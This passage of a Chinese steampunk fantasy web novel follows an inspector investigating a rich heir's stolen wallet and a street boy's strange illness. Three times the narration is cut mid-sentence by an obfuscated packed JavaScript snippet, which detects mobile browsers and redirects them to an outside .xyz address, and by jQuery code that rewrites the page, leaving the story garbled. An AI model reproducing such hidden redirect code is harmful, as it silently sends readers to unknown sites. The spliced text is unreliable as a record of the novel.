林恩微微抬起眼,目光从他那张分明精明却伪装憨厚的面孔上滑过。 她接过杜巴手中的材料,轻轻放在桌面上。 “我还没有资格带学徒。” “呃。”杜巴卡了卡壳,“会有的。” “是的,会有的。” 林恩拿起最上方的一册文件,随手翻阅看起来。 “谢谢你送来,杜巴审查官。” 她头也不抬地送客。 虽然同蒙德里安·威灵顿争执了一通,但今天早晨在高架缆车上的发现,却让林恩对亨利·朗的兴趣陡然增大。 林恩对一切有关于“信徒”的话题都拥有极大的兴趣。 她后知后觉地意识到,倘若早知道是由自己来调查,那么昨晚也没必要把钱包丢出去了。 不过世间没有早知道。 ——除了“占卜师”白琳·嘉伯。 林恩摊开工作笔记,先写下日期【5月8日】,又记录下自己的目的地。 【中央大区治安所】 == “我是国民卫队审查官亨特,负责调查亨利·朗的事情。” 国民卫队的机械马车停在治安所门外,林恩出示了证件,总算顺利放行。 “您今天是否太过荷枪实弹了?” 遭到质疑的林恩斜眼看了过去,冲着艾迪·穆德翻了个白眼。 “为什么是你来给我做助手啊?” 她相当不满。 “首席审查官认为,我们在龙骸郡是不错的搭档。” 艾迪笑得有些腼腆,只不过他的笑脸放在林恩眼里,反倒带了些居心叵测的邪恶。 “我迟早会有学徒的。”林恩提着蒸汽火枪跳下车,“到时候就可以把你赶走了。” “唔……”艾迪跟在她身后下车,“在那之前,就委屈你跟我在一起了。” 一边说着,他一边把林恩的公文包拿下来。 “不过,您或许还不知道吧?” “知道什么?” “白狼号的另一名飞艇驾驶员,克莉丝·莫纳,还在接受审讯。” 艾迪说,“原本我以为,总得是克莉丝来做你的助手。” 奇怪。 “我不觉得克莉丝做了什么。”林恩皱起眉,“在被袭击的时候,掌舵者是你。再不济,也是我来负责。” “我也是这么以为的。”艾迪叹了口气,“只不过,据说克莉丝在第一场审讯里撒谎了。” 一说起撒谎,林恩就想到莱亚·古德温那张轻佻的面孔。 “看来我俩都通过了谎言筛查,不是吗?” 她回过头,轻轻瞥了眼艾迪。 “当然,国民卫队的第一要义就是不能撒谎。”艾迪一脸正直地发言。 这副正派的面孔怎么看怎么令人生厌。 林恩撇嘴,“所以说,我才讨厌跟你一起搭档。” 正回头讲着话,林恩一个没注意,便一头撞在门板上。 巨大的动静引来治安官的侧目。 “您还好吧?” 20. 朗氏矿业公司 来人是治安官卡尔·斯诺皮,一个大众脸的中年人。 棕褐色的头发,棕褐色的眼睛,不大不小的鹰钩鼻,以及弧度友善的嘴唇。 碎金城的治安官与国民卫队审查官一样,制服都是纯白色。 只不过,他们胸前是一如既往的金线玫瑰刺绣。林恩数了数,斯诺皮的玫瑰有六瓣。 他相当热情地开口:“麻烦您了,审查官林恩。” 林恩被迫与他寒暄几句,而后开门见山:“治安官,你们现在调查了哪些情况了,能麻烦告诉我一下吗?” 说罢,她掏出纸笔。 “我们的记录员已经记下来了,我现在拿来。” 斯诺皮治安官朝门外使了个眼色。 “只不过,我必须提前跟您说,朗先生并不是那么配合。” 见他吞苍蝇般的痛苦表情,林恩猜测治安官也被折腾得够呛。 “我知道的,谢谢您的提醒。” 记录员的手稿被直接带入会议室,重重地砸在木桌上。 “昨天时间有点晚,所以记录员没有完全整理出来。”跑腿的小治安员说道,“不过,她的字迹很清晰,大概也看得出来。” “好的。” 林恩潦草地扫了几眼。 除去与钱包有关的繁琐赘述,事件本身与她目睹的情况一致。 因此,亨利·朗的口述对她来说没什么用处。 她把目光投向剩下的纸张。 颇有眼色的斯诺皮治安官开口,“这里是我昨日询问店家的记录。” “钟与美人?” “是的,是的。”治安官点起头。 如林恩所料,“钟与美人”的店员与经理都声称,他们完全没有放任何“可疑人士”进店。 同时,亨利·朗的固定座位与零散客人的位置有一段距离,因此店内作案的可能性很低。 “我看呐,就像朗先生自己所说的那样,钱包是在店外被偷的。” 林恩自言自语道,又问治安官: “这些记录我可以带回去吧?” “请随意。” 斯诺皮治安官求之不得:林恩把这东西拿走,就相当于彻底拿走了他的负担。 从现在起,这件事就由国民卫队全权负责了。 他的脸上不禁扬起畅快的笑容。 “我们现在应该怎么做?”艾迪的表情难掩担忧。 林恩耸肩,不慌不忙地把文件全部塞进公文包里,又费劲地合上鼓鼓囊囊的布包。 “很简单,作为我的助手,你再去走一遍‘钟与美人’。” 艾迪的表情写满困惑。 “治安官不是都去过了……那您呢?您打算去哪里?” “我要去直面亨利·朗。”林恩说。 艾迪肃然起敬。 林恩的算盘打得啪啪作响:既然亨利·朗是个难缠的家伙,那就一定要让他的难搞能被看见;譬如他派人打了她一顿、给她留点小伤。 这样,她就能光明正大地把问题甩给特里奇审查官了。 “不过,我需要用马车,你去问治安所借一辆马车吧。” 林恩朝艾迪挥了挥手。 “……行。” 林恩头也没回地爬上马车,又对车夫说,“去朗氏矿业公司总部。” “您稍等,我需要查看一下地图。” “没关系。”林恩点头示意,“我需要在车里补一会儿觉,到目的地之后您敲门喊一下我。” 林恩支走艾迪的理由很简单,她需要调取“账单”的记忆。 艾迪在场,她的全部行为都会被目击,很不方便。 林恩思前想后,终于选择了那张“手杖店”的账单。 【我需要窥探一下记忆。】 她深呼吸一口,凝神默念。 …… “这支手杖的价格是3万金塔拉,先生。” 店主大手一挥,在账单上写出价格,随后递给亨利·朗。“它很精美,是碎金城独一无二的设计,就应该配您这样的贵公子。” 亨利·朗哈哈大笑,接过账单放进钱包。 “还是你会做生意啊。” 他一边说着,一边掏出支票,放在店主手里。 …… 一只灰扑扑的小手重新打开了钱包。 “哥哥,这就是朗先生的钱包吗?”一个女孩探头探脑地张望着,“怎么没多少硬币呢?” 男孩把钱包里所有东西都倾倒出来。 “莉亚,你不懂,有钱人不像我们,他们不用硬币的。” 他抽出全部的纸笔,在手里清点了一下。 “一、二、三……我们发财了,莉亚!一共有五张纸币!”男孩压低声音,难掩激动地说道,“不枉我差点被撞到!” “哥哥,这几张长得都不一样诶。”莉亚摆弄着纸币与纸条,“还有空白的纸!” “我也不知道这是什么。”男孩举起支票,仔细研究了一阵,又揣进口袋里,“没关系,我们可以留着回去写字。” 莉亚懵懂地点了点头。 “奶奶有救了,莉亚。这些钱足够治好奶奶的病了!”男孩重新数了一遍,确认亨利·朗的钱包里一共有75金塔拉。 他握着钱包的手甚至有些颤抖。 “哥哥,前面有巡逻治安员!”莉亚指着不远处的灯光,小声提醒道。 男孩迅速把金塔拉塞进口袋,又把全部账单随意地塞回去,重新合上钱包。 “我们快走!” 他不断催促着妹妹。 在巡逻治安员眼中,像他们俩这样衣衫褴褛的孩子不该出现在中央大区。 他们会被赶走。 运气差的话……可能会被搜身! “那钱包呢?” “就丢在这里,没关系的。” 【终止记忆搜查。】 林恩头一次如此“舒适”地从记忆中撤离。 她能感觉到,自己的精神能量正在蓬勃生长,就像是细嫩的枝干逐渐长成参天大树那样。 同时,她对“记忆搜查”的操控,也更加得心应手了。 过去的记忆都像汹涌奔流的大河,但她现在似乎学会安装“水龙头”了。 林恩很确定,等到自己完全掌握“记忆搜查”,就可以计划着晋升下一级信徒了。 “亨特审查官,我们到了。” 车夫轻轻叩响车门,小声提醒。 “好的,我知道了。” 林恩下了车,注视着面前这栋庄严保守的建筑,凹凸不平的红砖外墙崭新如初。 厚重的铸铁大门上方,悬挂着“朗氏矿业公司”的标识,由土狼与蒸□□组合而成,凶恶异常。 门口的守卫强壮魁梧,盯着林恩腰间的蒸汽枪,目光中满是不善。 见状,林恩立刻摘掉装备,轻装上阵。 “您好,我是国民卫队的亨特审查官,来拜访亨利·朗先生。没有预约。” 她一股脑儿地说完,而后静静地站在一边,等待几人的汇报。 守卫点点头,转身进入安保亭。 朗氏矿业公司内部,拥有相当强大的即时通话系统,由黄铜制成的通话管相连。 他拔掉塞子,大声喊道:“国民卫队的亨特来找亨利·朗先生。” 过了几分钟,通话管中传来回音。 是个甜美的女声,但声音很小,守卫必须凑近喇叭口才能听清。 “亨利·朗先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288782|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生让她进来。” 不得不说,亨利·朗的直率很值得夸赞。 林恩原本以为自己会被刁难,譬如在门外苦等两三个小时,才能见到他本人,却没想到被秘书直接带入亨利·朗的办公室。 他的门外,悬挂着“公司董事”的铭牌。 “哟哟哟,这不是我们的大审查官嘛。” 一踏进华美到灼伤眼球的办公室,林恩就听见亨利·朗的阴阳怪气。 “原本以为你有多大的能耐呢,还不是得听从威灵顿的指挥。” 他坐在柔软的浅咖色牛皮单人沙发上。 作为时尚标杆,亨利·朗今天穿着宝蓝色西服,衬衫是同样艳丽的橙色,刺激的对比让林恩有些眼花。 不过,值得注意的是,他的右手正握着一根手杖。 黄金狼头造型的手柄,在头顶镶嵌了一颗巨大的圆钻,如同头戴王冠的狼王。它的双目是两粒黑珍珠,滚圆饱满,散发出柔和的光辉。 这大概就是所谓的“玫瑰木镶5克拉钻石手杖”。 察觉到林恩的目光,亨利·朗的表情有一瞬间的得意。 “看什么?” 林恩说:“这个手杖应该很贵吧?” “你一辈子都买不起。”亨利·朗以一副高傲的姿态试图惹怒她。 想了想高达360万金塔拉的价格,林恩觉得亨利·朗嘲讽的也有道理。 “我肯定买不起,我又不是有钱人。” 她一边说,一边坐在沙发上。 “切。” 一拳打进软棉花,亨利·朗有些没趣。 他还是喜欢桀骜不驯的林恩·亨特。 “算了,你来有什么事?”他放下咖啡杯,询问道。 “你钱包的事情。”林恩说,“我找不到。” “……” 亨利·朗瞥了眼墙边的黄铜座钟,现在才十一点出头。 “你真的有去找吗?”他质疑地看了过来。 “我去了治安所,也去了店里,四处都问遍了。”林恩故意夸大自己的苦难。 “…所以,您钱包里有多少钱?要不我补给你算了。” “你觉得我是为了钱?!” 亨利·朗的怒火一点即燃,“我在乎这么点钱?” “我们家族拥有朗氏矿业公司,我的爷爷早在三十年前就加入了工党,我的父亲在绯通亚矿场拥有一座矿山,我的叔父则拥有钻石矿,我的母亲是钢铁公司的小女儿——” 亨利·朗在暴怒之下一一枚举他的显赫家世。 “你觉得,我在乎的是钱?!我还需要你补给我?!” 林恩立刻给他倒了杯咖啡。 “您消消气,怒气伤身体。”她吸了吸鼻子,“那您这么执着于钱包,甚至点名道姓地让我搜查…” “…您该不会是看上我了吧!” “我——呸!” 亨利·朗冲着林恩喷口水。 他只觉得,自己二十余年的生命就快要被林恩·亨特气终止了。 世界上怎么有如此大言不惭的女人?! “你也不看看你长什么样!我要什么女人没有,非得看上你?” 他指着林恩的鼻子,“滚蛋滚蛋,我不要你帮我找钱包了,赶紧给我滚。” 目的达成?! 林恩坐在沙发上岿然不动。 “话不是这么说的,亲爱的朗先生,这是我作为独立审查官的第一个任务,被赶走的话,首席审查官会怎么看我啊!” “那跟我有什么关系?” 亨利·朗咧开嘴,自以为拿捏住了林恩的命门,“我回头就要投诉你。” 他站起身,拉开办公室大门,“现在呢,请你滚蛋。” 21. 东区 林恩佯装出一副苦恼的表情,脚步轻快地离开了朗氏矿业公司。 她怎么都没想到,亨利·朗这么好对付。 此人还保持着青春期的叛逆态度,一心想着逆反,完全没有自己的思考。 “亨特审查官,我们现在去哪里?”车夫驾驶着机械马车驶离高楼耸立的街道,一边询问道。 “到午饭时间了……” 林恩掏出怀表看了一眼,“你先往东区治安所行驶,中途路过小餐馆就停下,我们先吃个午饭。” “好嘞。” 尽管车夫此前没有与林恩接触过,不过今日的相处足以证明林恩并不如威灵顿那样难搞。 “我知道珀尔区与东区交界处有一堆不错的小餐馆,我先往那里驾驶了。” “没问题。” 钻上马车后,林恩立刻掏出笔记本,用铅笔写下两个字: 【工党】 这是由暴怒的亨利·朗讲出来的:他的爷爷在三十年前加入的“工党”。 这句话尤其引人注意。 能与“矿山”相提并论,含金量显然不低;甚至他还多此一举地强调了是“三十年前”。 三十年前……为什么这么重要? 这句话也同样解释了,为什么亨利·朗与蒙德里安·威灵顿两人,明明年纪悬殊极大却关系异常紧密。 或许与他们背后的秘密团体——工党息息相关。 有关于“工党”的消息都是公开的,林恩觉得但凡有意打听,就没有不知道的道理。 马车缓缓驶离中央大区。 蒸汽机械马匹发出咔哒咔哒地转轴声,林恩隔着车窗与浅湖宫擦肩而过。 即便外墙微微斑驳,却也能窥见这座宫殿旧日的辉煌。 “浅湖宫已经许久没人来了。”车夫叹口气,“我还记得我小时候,这里有多么光辉热闹。” 林恩来了兴趣,立即直起身子。 “那是什么时候的事情?” “三四十年前了吧……”车夫一边驾驶,一边回过头闲聊,“当年我父亲还在浅湖宫当值。” “您的父亲?” 车夫点头,语气有些骄傲:“他是浅湖宫的车夫,曾经我也能蹭着马车去王宫附近玩耍。” 他语气低沉下来,“不过,他已经去世很多年了。” “您节哀。” “这也没什么,那晚就连国王都死了父母,更何况我呢。”他皱了皱眉,苍白地自我欺骗着,褶皱丛生的面孔上闪过一丝挣扎。 “在那之后没几天,为了补偿我们家,我得以在国民卫队工作。” 他说着,从怀里掏出跟烟,慢吞吞点燃。 “我还记得,理查德四世的士兵带着一张赭红色信封来敲门我家的门,那高高在上的语气分明觉得我应当感恩戴德。 “他强迫我当场感谢国王的恩赐,能不计前嫌地雇佣反贼的后代,还说我父亲死有余辜。” 车夫的喉咙里发出一声冷笑。 即便已过去二十余年,他还对当初的恶言耿耿于怀。 林恩咬着笔帽,在纸上工整地写下几个字。 【理查德四世】 “好在那天我们家的邻居、一名鱼贩刚好推了一车臭鱼在巷子里叫卖,听了这些话过后,直接把鱼全倒在他身上。” 车夫掸了掸烟灰,侧头笑道,“审查官您不知道,放了几天的海鱼,臭得和发酵的下水道似的,我估摸着那气味得半个月才能散掉。” 林恩抿唇笑,“我只知道有些奶酪很臭。” “下次您有什么不满,可以试着用臭鱼作弄别人。”车夫哈哈大笑,随手把烟蒂丢出去,又拧开钢制水壶喝了一口。 林恩对车夫的提议并不感兴趣。 == 在一家名为“家庭小餐馆”的店铺内吃了热乎乎的豌豆汤和肉馅饼,而仅仅花了7银舌尔,两人重新往碎金城东区前进。 车窗外一下子变得嘈杂。 是一种没有生机的喧哗,车铃声、叫卖声、争吵声混在一起,全都被汽笛重重盖住。 而污水的腐臭味,也开始时不时飘散进车厢。 “该死的。” 车夫点了支烟,怒气冲冲地与一名醉汉擦肩而过,险些撞伤他。 “东区的街道太窄了,实在难走。”他嘟囔着。 林恩探头出去。 蒸汽马车行驶在“主路”上,却也比不上桔梗街的一半,挤在人流之中。 而道路两边的深巷,黑漆漆如肠道般窄长,几乎透不进阳光。 因而,两边的联排房屋上爬满了霉菌与青苔,木板门一扇扇紧挨,几乎要腐烂。 难怪,即便是房租再便宜,中央大区的上班族也不会选择东区租住。 这里的环境属实太糟糕了。 一晃神,东区治安所已在眼前。 林恩与东区治安官杰克逊·波弗来说明了来意,他狠狠皱了皱眉,猛地从烟斗里吸了一口。 “偷窃啊……” 他灰色的眉毛颤抖几下,分明有些为难。 “偷窃在东区实在太常见了。” “不过,东区使用大面值钞票的,应当不多吧?”林恩问道,心里却有些犹疑。 ——倘若那两个孩子足够机灵,他们总有办法避开旁人的追查或举报。 杰克逊·波弗来摇了摇头,“审查官,我一开始调来东区治安所时,想得也与您差不多。” 他啜了口浓茶,脸上带着苦笑,“但东区和其他地方不一样,这里的人们不相信治安员。” “……换句话说,他们不信任文明社会的契约。” 此话一出,林恩瞬间明白了他的意思。 她因而也明白,自己的到来或许只是徒劳。 她站起身,准备与波弗来治安官道别。 这时,门外忽然冲进来一个年轻治安员,目光游离且涣散,手上还抓着制服帽,汗水顺着他头顶的碎发滴滴答答地淌下来。 “巡查有点情况,您还是亲自去看看吧!” 他的声音如狂风下的树叶般战栗,“就在枫叶教堂。” == 枫叶教堂距离东区治安所很近。 因道路狭窄,几人都是步行过去的,车夫原本缓缓跟着,很快就被甩开。 “具体是什么情况?” 杰克逊·波弗来喘着粗气,双腿沉重又无力。 伤病过后,他的左腿就一直使不上力气,更别提高强度地奔跑了。 “有个男孩……似乎是疯了。”年轻治安员的语气相当困惑,“我形容不上来,您还是自己去看看吧。” 男孩? 林恩的心一沉,瞬间有些坏预感。 三人冲进破败的枫叶教堂。 本该是纯白色的建筑,但日久失修呈现出肮脏的淡黄色,尖顶上的黄铜神像也被偷去,只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我要把他带回国民卫队。”林恩冲治安官点点头,下定决心说道。 只有在国民卫队,这个孩子才有治疗的可能性—— 不管怎么说,都比留在东区好。 布鲁被林恩抱了起来。 抱着他,就仿佛抱着一片树叶,轻巧得不可思议。 林恩刚把布鲁塞进蒸汽马车,身后就传来低低的抽泣声。 “哥哥……” 女孩莉亚的哭腔如猫咪般细微,像是喉咙被捏紧而挤出一点声音。 “求求你,救救我哥哥。” “求我?祈求可没什么用,得看你用什么来交换,孩子。”林恩的声音堪称冷酷。 随后,她蹲下身,平视着面前的女孩。 “你应该也是知情者吧?你哥哥偷走了一枚钱包。” 莉亚被问得一愣,瞬间哑了声。 林恩发出一声短促的笑,随后从笔记本上撕下一张空白纸张,写下自己的住址。 “今天晚上,来这里找我吧。” 莉亚盯着远去的马车,又捏了捏手心的纸片。 22. 布鲁(一) 【布鲁因喉咙不适,前往诊所检查。 在诊疗期间,哭嚎不止且发出异声,医生无药可治。 后由我送来枫叶教堂,交给神母驱邪。】 巡逻治安员的潦草字迹,大致总结出完整的前因后果。 林恩细细地读了一遍,目光又落在陷入昏迷的布鲁身上。 皮肤的龟裂并没有恢复,但好在也没有恶化,只不过看上去异常可怖。 她叹了口气,轻轻抽出他紧攥着的纸币,又小心翼翼地塞进他的上衣口袋。 纽扣松松地挂在布料上,林恩没怎么用力,就直接把它拽了下来。 “……” 不过,林恩也刚好看见布鲁口袋里的东西。 皱巴巴的购物清单、一张10金塔拉纸钞、两枚金币、医生的诊疗单、以及—— 林恩捻起夹在纸币中间的“黑布”,仔细观察着。它表面粗糙,却又薄如蝉翼,柔软如丝绸。 这是什么东西? 她似乎有些糟糕的联想,赫然毛骨悚然起来,只轻轻把“黑布”夹在笔记本末页,不再触碰。 马车缓慢行驶在颠簸的道路上,林恩昏昏沉沉地犯困,哪知忽地急刹。 金属因彼此摩擦而发出尖利的声响,林恩陡然转醒,右手已持住蒸□□,目光锐利地盯着前方。 “审查官,是我。” 艾迪的声音。 林恩松懈下来,一边调侃:“你怎么从这条路走?钟与美人去过了?” “去过了。”艾迪笑了,“老板差点把我轰走,说一模一样的问题为什么要问这么多遍。” 他的目光穿过玻璃看向衣裳褴褛的布鲁。 “他是?” “大概是个小偷。”林恩垂眸看了一眼,“但未必是偷走亨利·朗钱包的小偷。” “但他的脸怎么……” 艾迪皱了皱鼻子,嫌弃地指了指布鲁皮肤上的裂纹,“这正常吗?” “不知道,所以我想把他带回国民卫队。”林恩拍了拍身上的灰尘,又眼前一亮,“不过,你来也是件好事。” “?” “就拜托你把他送去国民卫队吧。”林恩说罢跳下车,又把艾迪推了上去。 “我有其他事情。” 艾迪缩在马车里满脸无奈,又下意识离布鲁远了些。 “你不能总是对你的行为保密。如果特里奇审查官问起来……?” “我要去找亨利·朗。”林恩招了招手,叫住一辆出租马车,迅速地讲出自己的打算。 “因为——” “我不是抓到小偷了吗?” 林恩眨眨眼,语气里透着狡黠。 “谁有证据证明,这个孩子没偷朗先生的钱包呢?” “你想让他顶罪?” 艾迪睁大了眼睛,又把声音压低,不可思议地望着林恩,“这……不太道德吧?” 林恩登上马车,正襟危坐。 “很显然,我没什么其他选择,艾迪。” 她并不为自己的决定而愧疚,甚至懒得为此寻找辩解的借口。 艾迪拧眉,注视着林恩远去的背影,最终发出一声慨叹。 ——他原本以为,林恩是不一样的。 但事实上,她与其他审查官,并没有什么区别。 == 林恩重新站在朗氏矿业公司大门口。 还没等她开口,守卫就熟知她的去向,直接向尚未离开的亨利·朗汇报。 “那位审查官又回来了。” 面对守卫们困惑的表情,林恩讪讪地笑着,又摘下身上荷枪实弹的武器,小心放置在守卫亭。 “审查官,您这些装备,可真够厉害的!” 守卫感慨着,一边指了指自己手中的冷兵器,似乎颇有微词。 “朗氏也不给我们配置一下好用的武器,还让我们使用长剑与弓弩。” “得了,就算给你步枪,你能瞄准吗?”另一个年长守卫讥讽道。 林恩在二人的针锋相对中迈进公司大门。 她的目光扫过墙角的古朴座钟,黑色粗时针指向四点。 没想到,今日好一番折腾,时间却过得如此之慢。 亨利·朗脱了外套,坐在办公室内,手中搂着面容艳丽的金发美女。 见林恩走进来,他轻飘飘地掀了掀眼皮,漫不经心地开口: “亨特审查官,有什么发现吗?” 林恩往前走了几步,刚好站在地毯边缘。 “的确有。” “你真找到了?”亨利·朗神色一凛,因肥胖而挤得窄窄的眼睛里透出一丝精光。 他四处打量了一番,又问道:“人呢?” “是个流浪儿,先生。” 林恩努力编造着布鲁的悲惨家庭背景,只说他是个孤儿,有个嗷嗷待哺的妹妹。 最终,她终于不切实际地问道:“……所以,您能不能网开一面?” “网开一面?” 亨利·朗重复了一遍,最终冒出一声哼笑。 “我难道是什么善良又愚蠢的普通人?” 他哈哈大笑着,一边捏了捏金发美人的脸蛋,像是逗弄一只贵宾犬。 “茉莉,你说这多可笑啊!” 茉莉吃痛之余,不得不保持着姣好的笑容。 亨利·朗是什么样的人,她再了解不过了:富裕且大方,但也粗俗且暴躁。唯有像对待孩子那样耐心哄着他,她们这些靠亨利·朗吃饭的人才有活路。 “所以,人也没有,只给我听了一段故事。”亨利·朗说,“亨特审查官,你是不是在糊弄我?” “人已经抓到了,并带回国民卫队了,先生。” 既然沟通无效,林恩也就不得不说了实话。 她小心观察着亨利·朗的表情,“只不过,那孩子出现了一些异状。” 亨利·朗露出惊悚与畏惧的神情。 ——他绝非毫不知情! “什……什么异状?”他下意识脱口而出,随后才注意到臂弯里的茉莉。 “不,等等。”亨利·朗自顾自地低语,一边甩开茉莉的胳膊,“你现在给我出去!” 他对待茉莉的态度堪称粗暴。 显然,茉莉习以为常地站起身,拿手指轻轻梳理了一下金色长发,抓起椅背上的披肩走出办公室大门。 她对这些工作的龃龉毫无兴趣。 “好了,你可以说了。” 亨利·朗完全没有心疼美人的意思。 他从沙发上站起身,略过站得笔直的林恩,径直坐在堆满杂物的办公桌边。 “那个孩子的皮肤瞬间裂开,就像是破碎的冰面。”林恩大致描述道。 “…他皮肤的裂纹里渗出血水,但是却并不太多。” “只是血吗?”亨利·朗脱口而出。 “嗯……我想只是血。”林恩一怔,继而目不转睛地望着他,“您见过类似的病吗?” “不,当然没有。” 亨利·朗迅速地摇了摇头,但林恩无法忽略他行为及语气里的慌乱。 “好了好了,你先回去审问吧!如果人死了,再来向我汇报。” 他急着驱赶林恩,整个人已迫不及待地靠近黄铜通话筒,显然是要与旁人联络 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308591|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 亨利·朗绝对是知情者! 他熟知受害人的症状、深知该异状致死…… 甚至,他明确地预料到会出现受害人! 林恩回过头,目光狠狠锁定着紧闭的大门。 仅仅只有亨利·朗了解异种生物吗? 还是说,整个朗氏矿业公司都与此相关? == 从朗氏矿业公司出来,已逾五点。 林恩掏出怀表看了看,在“加班看望布鲁”与“准点下班”之间纠结良久,最终还是拦了辆车,返回国民卫队。 艾迪还没下班,因此林恩很容易就找到了他。 客套几句后,林恩向他询问起布鲁的去向。 “在诊疗室,医疗官已经去看过了,但是束手无策。”艾迪提着包,已换好了便服。 他犹豫了一下,还是好心地问道,“需要我陪你去一趟吗?” 林恩上下扫了一眼他的装束,又问:“你家住在哪里?” “珀尔区的鹅头巷,在珀尔区与多罗区的交界。” 无论他怎么描述,林恩都不了解这个地点:碎金城是个相当庞大的城市,她自然不可能了如指掌。 林恩最终摇了摇头,“算了,今天你应该也累了,早些回去休息吧。” “你呢?” “我?”林恩晃动着怀表,“我去看一眼布鲁就下班,不会很久。” 尽管提出要多留一会儿,但艾迪离开的脚步很迅速。 ——心口不一的男人。 林恩叹息着想。 诊疗室就在主塔内。 绕过环形楼梯,林恩敲了敲诊疗室的木门,与医疗官帕尔玛对视一眼。 “打扰了。” 她小声开口,“我是来看那个孩子的,今天下午刚刚送来。” 医疗官点点头,“我使用了一点镇定药剂,总算是让他平静下来。8%浓度的纯蛛网花液也让他服下了,因此缓解了不少疼痛。” 帕尔玛医疗官话锋一转。 “只不过,我从没见过这样严重的病……我甚至不知道这是哪种恶疾。” “真够糟糕的。”林恩摸了摸布鲁滚烫的额头,“他还在发烧。” “是的,不过退烧药也失去作用了。”帕尔玛医疗官颇为苦恼,“到底是怎么回事呢?” 趁着她忧虑且困扰的时候,林恩轻手轻脚地从布鲁脑袋上拔下几根油腻腻的头发,又不经意地塞进裤口袋里。 布鲁皱了皱眉,似乎是感受到了疼痛,他竟然睁开了眼睛! “你醒了?!”林恩诧异,赶忙凑近,“身体感觉怎么样?” 布鲁嗫嚅着,发出细碎的呢喃。 林恩不得不凑在他湿漉漉的嘴唇旁边,耳廓紧贴着他干燥的嘴唇。 “……把钱给莉亚,不要救我了……” 他的黑色眼珠毫无光泽,“去治奶奶的病吧,不要管我了。” 说罢,那瘦削凹陷的眼眶里,淌出冰凉的一行泪来。 林恩抓着他的手,“你不要多想,安心治病。我会帮你照顾好莉亚,你放心。” “谢……谢谢你。” 布鲁的嗓子里发出一声悠长的叹息,而后又疲倦地闭上眼睛。 林恩猛地站直,“医疗官,他不会死了吧!” 医疗官帕尔玛:“!” 她跑过来,大致进行了些检查,最终舒了口气。 “审查官,您不要咋咋唬唬的!”她拧眉怪罪道,又摆摆手赶人。“算了,你先回家吧,呆在这里也没有用处。” “明天一早,我会来看望他的。”林恩信誓旦旦。 23. 二度交锋 重新乘坐高架缆车返回洋湾区后,林恩并不打算乘坐公共马车。 她拿这省下来的1银舌尔买了几颗橙子,一股脑儿地塞进公文包里,沉甸甸地提了回去。 “晚上好,朱莉亚夫人。” 朱莉亚夫人抬起头,见是林恩,忽然拍了拍脑袋: “亨特小姐,刚刚有人找你。” “哦?” 林恩迟疑了一下,随后意识到大约是莉亚。 “她现在去了哪里?” “她?”朱莉亚夫人戴上单片眼镜,在访客登记表末尾扫了一眼,“是个男人,亨特小姐,名字是……” 她常年拿针线的手指粗糙而有力,点在一行字迹上。 “莱亚·古德温。” 莱亚为什么会来找自己? 林恩满是不解,“那他人呢?” 朱莉亚夫人摇摇头,“他没有告知我,就先离开了。” 她脸上忽然露出诡异的神情,“那位先生……衣着打扮大约是个有钱人吧?是在追求你吗?” 林恩几乎被自己的口水呛到。 她及时阻止了朱莉亚夫人的八卦,“大约是公务,朱莉亚夫人,他是陆军中校。” “唔,军人!”朱莉亚夫人的表情更加夸张,“是个体面的选择。” 她忽然鬼鬼祟祟地压低嗓音,“你大概不知道,这附近有个有钱人的情妇!这多不体面!” 正在忍受朱莉亚夫人的琐事轰炸时,莱亚·古德温的去而复返拯救了林恩。 “你总算是回来了。” 他走了进来,满脸不耐烦地倚在门框上。 “怎么这么迟?国民卫队就如此忙碌?” 林恩:“您有什么事情吗?” “我要把我的东西拿回来。”莱亚小心地把丝巾叠好,重新塞进西服外套里,一边朝林恩摊开手心。 见他一副自作主张的态度,林恩叹了口气,“请求您,告诉我到底是什么东西。” 她已经被工作折磨的心烦意乱,完全不知道莱亚所谓的“遗失物”。 “我的手套。” “你的……什么?” 林恩的记忆忽然回溯,“我明白了,的确有一副手套。” 她扫了莱亚一眼,颇为嫌弃,“不就是一副手套吗,有必要特意来一趟吗?” “这不是你该关心的事情。” “或许吧。”林恩无心与他插科打诨,“刚好我想向您打听点事情。” 她拧开房门钥匙,原封不动地从桌上拿出那副黑色丝绒手套,放在莱亚手心里。 “关于飞艇驾驶员克莉丝·莫纳,她在审讯中撒谎了,是吗?” “没错。” 果然。 林恩面色一沉,“我能知道她的谎言吗?” “你不能,我已签订了保密协议。”莱亚勾唇,那张洁白的窄脸上显露出一丝兴味,“不过我可以透露,她的谎言与国民卫队无关。” 莱亚说罢,将骨节分明的手塞进黑色手套中,一边观察着林恩的表情。 在他意料之外,林恩仍旧忧心忡忡。 “怎么,这个消息难道不令人宽慰吗?”他重新握住手杖,在地板上点了两下。 “没什么是彻底与国民卫队无关的。”林恩扶着餐桌坐下,“更何况,国民卫队里还潜藏着信徒——” “这个消息还是我告诉你的。” 林恩颔首:“是的,但昨天分别之后不久,我就被重新叫回国民卫队,差点真的顶罪。” 回想了昨天的遭遇,林恩还是觉得后怕。 